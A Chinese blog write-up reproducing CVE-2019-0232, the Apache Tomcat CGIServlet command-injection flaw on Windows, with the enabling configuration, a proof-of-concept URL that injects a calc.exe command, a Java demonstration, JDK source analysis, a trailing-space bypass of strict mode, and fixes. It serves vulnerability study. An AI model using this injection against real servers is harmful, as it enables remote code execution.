CVE-2019-0232:Apache Tomcat RCE复现

漏洞影响范围

  • Apache Tomcat 9.0.0.M1 to 9.0.17
  • Apache Tomcat 8.5.0 to 8.5.39
  • Apache Tomcat 7.0.0 to 7.0.93

利用前提

  • Windows系统
  • 启用CGIServlet和enableCmdLineArguments参数
  • privileged="true"

复现过程

配置java环境变量

下载相应版本tomcat服务器(此处为9.0.13版本)下载地址

打开配置/conf/web.xml文件,修改如下配置

<!--
    <servlet>
        <servlet-name>cgi</servlet-name>
        <servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
        <init-param>
          <param-name>cgiPathPrefix</param-name>
          <param-value>WEB-INF/cgi</param-value>
        </init-param>
        <load-on-startup>5</load-on-startup>
    </servlet>
-->

<servlet>
        <servlet-name>cgi</servlet-name>
        <servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
        <init-param>
          <param-name>cgiPathPrefix</param-name>
          <param-value>WEB-INF/cgi-bin</param-value>
        </init-param>
        <init-param>
          <param-name>enableCmdLineArguments</param-name>
          <param-value>true</param-value>
        </init-param>
        <init-param>
          <param-name>executable</param-name>
          <param-value></param-value>
        </init-param>
        <load-on-startup>5</load-on-startup>
    </servlet>

同时修改如下配置

<!--
    <servlet-mapping>
        <servlet-name>cgi</servlet-name>
        <url-pattern>/cgi-bin/*</url-pattern>
    </servlet-mapping>
-->

    <servlet-mapping>
        <servlet-name>cgi</servlet-name>
        <url-pattern>/cgi-bin/*</url-pattern>
    </servlet-mapping>

然后打开content.xml文件,修改如下配置

<Context>

    <!-- Default set of monitored resources. If one of these changes, the    -->
    <!-- web application will be reloaded.                                   -->
    <WatchedResource>WEB-INF/web.xml</WatchedResource>
    <WatchedResource>WEB-INF/tomcat-web.xml</WatchedResource>
    <WatchedResource>${catalina.base}/conf/web.xml</WatchedResource>

    <!-- Uncomment this to disable session persistence across Tomcat restarts -->
    <!--
    <Manager pathname="" />
    -->
</Context>

<Context privileged="true">

    <!-- Default set of monitored resources. If one of these changes, the    -->
    <!-- web application will be reloaded.                                   -->
    <WatchedResource>WEB-INF/web.xml</WatchedResource>
    <WatchedResource>WEB-INF/tomcat-web.xml</WatchedResource>
    <WatchedResource>${catalina.base}/conf/web.xml</WatchedResource>

    <!-- Uncomment this to disable session persistence across Tomcat restarts -->
    <!--
    <Manager pathname="" />
    -->
</Context>

进入webapps/ROOT/WEB-INF/目录,创建cgi-bin/hello.bat文件,hello.bat文件为任意内容(非空)。

运行bin/startup.bat文件,待tomcat启动成功后,访问url

http://localhost:8080/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Ccalc.exe

成功弹出计算器,代码执行成功。

配置分析

web.xml为tomcat中的全局配置文件,对该server下所有web应用均有效;若需要对一些应用进行特殊配置,可以在其根目录下添加单独的web.xml文件。

启用CGIServlet,CGI(common gateway interface)是外部应用程序(CGI程序)与WEB服务器之间的接口标准,允许Web服务器执行外部程序,并将它们的输出发送给Web浏览器。

<param-value>WEB-INF/cgi-bin</param-value>

指定了cgi的路径,这里的路径不必须为此值,只需要与实际cgi路径相同即可;

<init-param> <param-name>enableCmdLineArguments</param-name> <param-value>true</param-value> </init-param>

设置enableCmdLineArguments值为true,默认值为false

Are command line arguments generated from the query string as per section 4.4 of 3875 RFC? The default is false.

(取自http://tomcat.apache.org/tomcat-7.0-doc/cgi-howto.html);

<init-param> <param-name>executable</param-name> <param-value></param-value> </init-param>

设置executable值为空

The name of the executable to be used to run the script. You may explicitly set this parameter to be an empty string if your script is itself executable (e.g. an exe file). Default is perl.

(取自http://tomcat.apache.org/tomcat-7.0-doc/cgi-howto.html);

<servlet-mapping> <servlet-name>cgi</servlet-name> <url-pattern>/cgi-bin/*</url-pattern> </servlet-mapping>

用于设置url路径与servlet的映射关系;

<Context privileged="true">

指定该应用为特权(privileged)应用

Set to true to allow this context to use container servlets, like the manager servlet. Use of the privileged attribute will change the context's parent class loader to be the Server class loader rather than the Shared class loader. Note that in a default installation, the Common class loader is used for both the Server and the Shared class loaders.

(取自http://tomcat.apache.org/tomcat-7.0-doc/config/context.html)。

漏洞分析

来看一下我们的payload

http://localhost:8080/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Ccalc.exe

可以看到实际上是访问了/cgi-bin/hello.bat文件

.bat文件是windows下的批处理文件(可执行文件),可以批量执行命令。

在我们访问.bat文件时,实际上是调用了Runtime.getRuntime().exec()方法来运行.bat文件,该方法会返回一个Process实例。

如果我们运行如下代码

import java.oi.*;
class c{
    public static void main(String[] args){
        String[] cmd={"args.bat","args","&","C:\\Windows\\System32\\calc.exe"};
        //or 'String cmd="args.bat args&C:\\Windows\\System32\\calc.exe";'
        try{
        Process process=Runtime.getRuntime().exec(cmd);
        OutputStream testStream= process.getOutputStream();
        InputStreamReader ir= new InputStreamReader(process.getInputStream());
        LineNumberReader input = new LineNumberReader (ir);
        input.readLine ();
        }
        catch(Exception e){
        }
    }
}

同样会弹出计算器(前提是存在一个非空的args.bat文件)

追踪一下exec()方法,声明如下

public Process exec(String cmdarray[]) throws IOException {
    return exec(cmdarray, null, null);
}

这里的exec()方法是一个重载的方法,如果我们传入的参数是一个字符串,那么将会调用下面exec()

public Process exec(String command) throws IOException {
        return exec(command, null, null);
}

​ 该处return exec()代码如下

public Process exec(String command, String[] envp, File dir)
throws IOException {
if (command.length() == 0)
throw new IllegalArgumentException("Empty command");

StringTokenizer st = new StringTokenizer(command);
String[] cmdarray = new String[st.countTokens()];
for (int i = 0; st.hasMoreTokens(); i++)
cmdarray[i] = st.nextToken();
return exec(cmdarray, envp, dir);
}

这个return exec()方法实例化了一个StringTokenizer类,将字符串通过空格分隔并储存在一个数组中,然后调用处理数组参数的exec()方法。即如果传入的参数是字符串,就增加一个将字符串转变成字符串数组的过程。

处理数组的exec()方法代码如下

public Process exec(String[] cmdarray, String[] envp, File dir)
    throws IOException {
    return new ProcessBuilder(cmdarray)
        .environment(envp)
        .directory(dir)
        .start();
}

start()代码如下

public Process start() throws IOException {
    // Must convert to array first -- a malicious user-supplied
    // list might try to circumvent the security check.
    String[] cmdarray = command.toArray(new String[command.size()]);
    cmdarray = cmdarray.clone();

    for (String arg : cmdarray)
        if (arg == null)
            throw new NullPointerException();
    // Throws IndexOutOfBoundsException if command is empty
    String prog = cmdarray[0];

    SecurityManager security = System.getSecurityManager();
    if (security != null)
        security.checkExec(prog);

    String dir = directory == null ? null : directory.toString();

    for (int i = 1; i < cmdarray.length; i++) {
        if (cmdarray[i].indexOf('\u0000') >= 0) {
            throw new IOException("invalid null character in command");
        }
    }

    try {
        return ProcessImpl.start(cmdarray,
                                 environment,
                                 dir,
                                 redirects,
                                 redirectErrorStream);
    } catch (IOException | IllegalArgumentException e) {
        String exceptionInfo = ": " + e.getMessage();
        Throwable cause = e;
        if ((e instanceof IOException) && security != null) {
            // Can not disclose the fail reason for read-protected files.
            try {
                security.checkRead(prog);
            } catch (SecurityException se) {
                exceptionInfo = "";
                cause = se;
            }
        }
        // It's much easier for us to create a high-quality error
        // message than the low-level C code which found the problem.
        throw new IOException(
            "Cannot run program \"" + prog + "\""
            + (dir == null ? "" : " (in directory \"" + dir + "\")")
            + exceptionInfo,
            cause);
    }
}

首先取出参数数组第一个值进行System.getSecurityManager()和security.checkExec()校验

java.lang.System.getSecurityManager():This method returns the security manager if that security manager has already been established for the current application, else null is returned.

(取自https://www.tutorialspoint.com/java/lang/system_getsecuritymanager.htm

java.lang.SecurityManager.checkExec(String cmd):The java.lang.SecurityManager.checkExec(String cmd) method throws a SecurityException if the calling thread is not allowed to create a subprocess. This method is invoked for the current security manager by the exec methods of class Runtime.

(取自https://www.tutorialspoint.com/java/lang/securitymanager_checkexec.htm

实际上return了一个ProcessImpl.start()方法

static Process start(String cmdarray[],
                     java.util.Map<String,String> environment,
                     String dir,
                     ProcessBuilder.Redirect[] redirects,
                     boolean redirectErrorStream)
    throws IOException
{
    String envblock = ProcessEnvironment.toEnvironmentBlock(environment);

    FileInputStream  f0 = null;
    FileOutputStream f1 = null;
    FileOutputStream f2 = null;

    try {
        long[] stdHandles;
        if (redirects == null) {
            stdHandles = new long[] { -1L, -1L, -1L };
        } else {
            stdHandles = new long[3];

            if (redirects[0] == Redirect.PIPE)
                stdHandles[0] = -1L;
            else if (redirects[0] == Redirect.INHERIT)
                stdHandles[0] = fdAccess.getHandle(FileDescriptor.in);
            else {
                f0 = new FileInputStream(redirects[0].file());
                stdHandles[0] = fdAccess.getHandle(f0.getFD());
            }

            if (redirects[1] == Redirect.PIPE)
                stdHandles[1] = -1L;
            else if (redirects[1] == Redirect.INHERIT)
                stdHandles[1] = fdAccess.getHandle(FileDescriptor.out);
            else {
                f1 = newFileOutputStream(redirects[1].file(),
                                         redirects[1].append());
                stdHandles[1] = fdAccess.getHandle(f1.getFD());
            }

            if (redirects[2] == Redirect.PIPE)
                stdHandles[2] = -1L;
            else if (redirects[2] == Redirect.INHERIT)
                stdHandles[2] = fdAccess.getHandle(FileDescriptor.err);
            else {
                f2 = newFileOutputStream(redirects[2].file(),
                                         redirects[2].append());
                stdHandles[2] = fdAccess.getHandle(f2.getFD());
            }
        }

        return new ProcessImpl(cmdarray, envblock, dir,
                               stdHandles, redirectErrorStream);
    } finally {
        // In theory, close() can throw IOException
        // (although it is rather unlikely to happen here)
        try { if (f0 != null) f0.close(); }
        finally {
            try { if (f1 != null) f1.close(); }
            finally { if (f2 != null) f2.close(); }
        }
    }

}

这里返回值是一个ProcessImpl类的构造方法,代码如下

private ProcessImpl(String cmd[],
                    final String envblock,
                    final String path,
                    final long[] stdHandles,
                    final boolean redirectErrorStream)
    throws IOException
{
    String cmdstr;
    SecurityManager security = System.getSecurityManager();
    boolean allowAmbiguousCommands = false;
    if (security == null) {
        allowAmbiguousCommands = true;
        String value = System.getProperty("jdk.lang.Process.allowAmbiguousCommands");
        if (value != null)
            allowAmbiguousCommands = !"false".equalsIgnoreCase(value);
    }
    if (allowAmbiguousCommands) {
        // Legacy mode.

        // Normalize path if possible.
        String executablePath = new File(cmd[0]).getPath();

        // No worry about internal, unpaired ["], and redirection/piping.
        if (needsEscaping(VERIFICATION_LEGACY, executablePath) )
            executablePath = quoteString(executablePath);

        cmdstr = createCommandLine(
            //legacy mode doesn't worry about extended verification
            VERIFICATION_LEGACY,
            executablePath,
            cmd);
    } else {
        String executablePath;
        try {
            executablePath = getExecutablePath(cmd[0]);
        } catch (IllegalArgumentException e) {
            // Workaround for the calls like
            // Runtime.getRuntime().exec("\"C:\\Program Files\\foo\" bar")

            // No chance to avoid CMD/BAT injection, except to do the work
            // right from the beginning. Otherwise we have too many corner
            // cases from
            //    Runtime.getRuntime().exec(String[] cmd [, ...])
            // calls with internal ["] and escape sequences.

            // Restore original command line.
            StringBuilder join = new StringBuilder();
            // terminal space in command line is ok
            for (String s : cmd)
                join.append(s).append(' ');

            // Parse the command line again.
            cmd = getTokensFromCommand(join.toString());
            executablePath = getExecutablePath(cmd[0]);

            // Check new executable name once more
            if (security != null)
                security.checkExec(executablePath);
        }

        // Quotation protects from interpretation of the [path] argument as
        // start of longer path with spaces. Quotation has no influence to
        // [.exe] extension heuristic.
        cmdstr = createCommandLine(
            // We need the extended verification procedure for CMD files.
            isShellFile(executablePath)
            ? VERIFICATION_CMD_BAT
            : VERIFICATION_WIN32,
            quoteString(executablePath),
            cmd);
    }

    handle = create(cmdstr, envblock, path,
                    stdHandles, redirectErrorStream);

    java.security.AccessController.doPrivileged(
        new java.security.PrivilegedAction<Void>() {
            public Void run() {
                if (stdHandles[0] == -1L)
                    stdin_stream = ProcessBuilder.NullOutputStream.INSTANCE;
                else {
                    FileDescriptor stdin_fd = new FileDescriptor();
                    fdAccess.setHandle(stdin_fd, stdHandles[0]);
                    stdin_stream = new BufferedOutputStream(
                        new FileOutputStream(stdin_fd));
                }

                if (stdHandles[1] == -1L)
                    stdout_stream = ProcessBuilder.NullInputStream.INSTANCE;
                else {
                    FileDescriptor stdout_fd = new FileDescriptor();
                    fdAccess.setHandle(stdout_fd, stdHandles[1]);
                    stdout_stream = new BufferedInputStream(
                        new FileInputStream(stdout_fd));
                }

                if (stdHandles[2] == -1L)
                    stderr_stream = ProcessBuilder.NullInputStream.INSTANCE;
                else {
                    FileDescriptor stderr_fd = new FileDescriptor();
                    fdAccess.setHandle(stderr_fd, stdHandles[2]);
                    stderr_stream = new FileInputStream(stderr_fd);
                }

                return null; }});
}

allowAmbiguousCommands变量仅当System.getSecurityManager()返回null且System.getProperty()不为假时才为真,此时会执行legacy mode(传统模式),即if(allowAmbiguousCommands)内的部分

首先来看if (allowAmbiguousCommands)内的部分,可以看到调用了needsEscaping()方法

private static boolean needsEscaping(int verificationType, String arg) {
    // Switch off MS heuristic for internal ["].
    // Please, use the explicit [cmd.exe] call
    // if you need the internal ["].
    //    Example: "cmd.exe", "/C", "Extended_MS_Syntax"

    // For [.exe] or [.com] file the unpaired/internal ["]
    // in the argument is not a problem.
    boolean argIsQuoted = isQuoted(
        (verificationType == VERIFICATION_CMD_BAT),
        arg, "Argument has embedded quote, use the explicit CMD.EXE call.");

    if (!argIsQuoted) {
        char testEscape[] = ESCAPE_VERIFICATION[verificationType];
        for (int i = 0; i < testEscape.length; ++i) {
            if (arg.indexOf(testEscape[i]) >= 0) {
                return true;
            }
        }
    }
    return false;
}

这里又调用了isQuoted()方法,这个方法是检测字符串是否被合法的双引号包含,代码不贴了

所以这里的needsEscaping()方法是对没有被双引号合法包含的字符串进行特殊字符检查,有三种检查方式,这里使用的是第三种,检查' '(空格)和'\t'(缩进)。所以在这里needsEscaping()方法的作用就是判断是否存在空格分隔的参数

如果needsEscaping()判断为真就为其加上双引号,然后调用createCommandLine()方法

private static String createCommandLine(int verificationType,
                                 final String executablePath,
                                 final String cmd[])
{
    StringBuilder cmdbuf = new StringBuilder(80);

    cmdbuf.append(executablePath);

    for (int i = 1; i < cmd.length; ++i) {
        cmdbuf.append(' ');
        String s = cmd[i];
        if (needsEscaping(verificationType, s)) {
            cmdbuf.append('"').append(s);

            // The code protects the [java.exe] and console command line
            // parser, that interprets the [\"] combination as an escape
            // sequence for the ["] char.
            //     http://msdn.microsoft.com/en-us/library/17w5ykft.aspx
            //
            // If the argument is an FS path, doubling of the tail [\]
            // char is not a problem for non-console applications.
            //
            // The [\"] sequence is not an escape sequence for the [cmd.exe]
            // command line parser. The case of the [""] tail escape
            // sequence could not be realized due to the argument validation
            // procedure.
            if ((verificationType != VERIFICATION_CMD_BAT) && s.endsWith("\\")) {
                cmdbuf.append('\\');
            }
            cmdbuf.append('"');
        } else {
            cmdbuf.append(s);
        }
    }
    return cmdbuf.toString();
}

这里实际上就是把cmd数组中第二个参数开始加上双引号后与之前处理过的cmd[0]重新进行拼接,并进行了转义符的处理

再来看看else内的部分,首先是调用了getExecutablePath()方法

private static String getExecutablePath(String path)
    throws IOException
{
    boolean pathIsQuoted = isQuoted(true, path,
                                    "Executable name has embedded quote, split the arguments");

    // Win32 CreateProcess requires path to be normalized
    File fileToRun = new File(pathIsQuoted
                              ? path.substring(1, path.length() - 1)
                              : path);

    // From the [CreateProcess] function documentation:
    //
    // "If the file name does not contain an extension, .exe is appended.
    // Therefore, if the file name extension is .com, this parameter
    // must include the .com extension. If the file name ends in
    // a period (.) with no extension, or if the file name contains a path,
    // .exe is not appended."
    //
    // "If the file name !does not contain a directory path!,
    // the system searches for the executable file in the following
    // sequence:..."
    //
    // In practice ANY non-existent path is extended by [.exe] extension
    // in the [CreateProcess] funcion with the only exception:
    // the path ends by (.)

    return fileToRun.getPath();
}

实际是增加了去除首位双引号的步骤,如果路径包含了非法的双引号,则抛出IllegalArgumentException并执行else中的catch块。catch块中将cmd数组用空格分隔拼接成一个字符串,然后传入getTokensFromCommand()方法中

private static String[] getTokensFromCommand(String command) {
    ArrayList<String> matchList = new ArrayList<>(8);
    Matcher regexMatcher = LazyPattern.PATTERN.matcher(command);
    while (regexMatcher.find())
        matchList.add(regexMatcher.group());
    return matchList.toArray(new String[matchList.size()]);
}

这里是对command进行了一次正则,取出双引号内或者被\s分隔的部分,同时可以去除非法的双引号,正则表达式为"[^\\s\"]+|\"[^\"]*\""

然后调用了createCommandLine()方法和isShellFile()方法,isShellFile()方法代码如下

private boolean isShellFile(String executablePath) {
    String upPath = executablePath.toUpperCase();
    return (upPath.endsWith(".CMD") || upPath.endsWith(".BAT"));
}

这里是判断命令可执行路径是否以.cmd/.bat结尾

到这里if-else部分就结束了,结果是产生了一个cmdstr字符串,if中的legacy mode与else中的strict mode主要的区别就是strict mode对可执行路径的扩展名进行了校验。

然后调用create()方法创建了一个进程,这是一个native方法,在不同的平台上有不同的实现

    /**
     * Create a process using the win32 function CreateProcess.
     * The method is synchronized due to MS kb315939 problem.
     * All native handles should restore the inherit flag at the end of call.
     *
     * @param cmdstr the Windows command line
     * @param envblock NUL-separated, double-NUL-terminated list of
     *        environment strings in VAR=VALUE form
     * @param dir the working directory of the process, or null if
     *        inheriting the current directory from the parent process
     * @param stdHandles array of windows HANDLEs.  Indexes 0, 1, and
     *        2 correspond to standard input, standard output and
     *        standard error, respectively.  On input, a value of -1
     *        means to create a pipe to connect child and parent
     *        processes.  On output, a value which is not -1 is the
     *        parent pipe handle corresponding to the pipe which has
     *        been created.  An element of this array is -1 on input
     *        if and only if it is <em>not</em> -1 on output.
     * @param redirectErrorStream redirectErrorStream attribute
     * @return the native subprocess HANDLE returned by CreateProcess
     */
    private static synchronized native long create(String cmdstr,
                                      String envblock,
                                      String dir,
                                      long[] stdHandles,
                                      boolean redirectErrorStream)
        throws IOException;

根据注释可以知道在windows下是调用了CreateProcess()函数来创建进程

CreateProcess()函数创建进程时,会首先判断将要执行的文件路径是否以.bat/.cmd结尾,如果是这样,那么执行的镜像将会成为cmd.exe。

Remember the isShellFile checked the file name extension for .cmd and .bat? This is due to the fact that CreateProcess executes these files in a cmd.exe shell environment:

[…] the decision tree that CreateProcess goes through to run an image is as follows:

  • […]
  • If the file to run has a .bat or .cmd extension, the image to be run becomes Cmd.exe, the Windows command prompt, and CreateProcess restarts at Stage 1. (The name of the batch file is passed as the first parameter to Cmd.exe.)
  • […]

Windows Internals, 6th edition (Part 1)

That means a 'file.bat …' becomes 'C:\Windows\system32\cmd.exe /c "file.bat …"' and an additional set of quoting rules would need to be applied to avoid command injection in the command line interpreted by cmd.exe.

However, since Java does no additional quoting for this implicit cmd.exe call promotion on the passed arguments, injection is even easier: &calc& does not require any quoting and will be interpreted as a separate command by cmd.exe.

This works in the legacy mode just like in the strict mode if we make isShellFile return false, e. g., by adding whitespace to the end of the path, which tricks the endsWith check but are ignored by CreateProcess.

(取自https://codewhitesec.blogspot.com/2016/02/java-and-command-line-injections-in-windows.html

在java将参数传递给CreateProcess()时没有进行正确的转义,如果传入精心构造的payload,如args.bat&dir,cmd.exe会将dir解释为单独的命令并执行

只有在最严格的strict mode下,命令注入才可能被过滤,但仍然可以通过在文件路径尾部加上空格的方式来绕过。最严格的strict mode下,needsEscaping()方法中的erificationType=0,此时检测的特殊字符有{' ', '\t', '<', '>', '&', '|', '^'}(strict mode下三种检查方式分别会检查{' ', '\t', '<', '>', '&', '|', '^'},{' ', '\t', '<', '>'},{' ', '\t'})。

修复

  1. 使用更新版本的Apache Tomcat。
  2. 关闭enableCmdLineArguments参数

其他

参考

CVE-2019-0232:Apache Tomcat RCE漏洞分析

How Command Line Parameters Are Parsed

Apache Tomcat 7 Documentation

Java下奇怪的命令执行

Java and Command Line Injections in Windows

java Pattern和Matcher详解

Java.lang package tutorial

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 151,829评论 1 331
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 64,603评论 1 273
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 101,846评论 0 226
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 42,600评论 0 191
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 50,780评论 3 272
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 39,695评论 1 192
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,136评论 2 293
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 29,862评论 0 182
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 33,453评论 0 229
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 29,942评论 2 233
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 31,347评论 1 242
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 27,790评论 2 236
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 32,293评论 3 221
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 25,839评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,448评论 0 181
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 34,564评论 2 249
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 34,623评论 2 249

推荐阅读更多精彩内容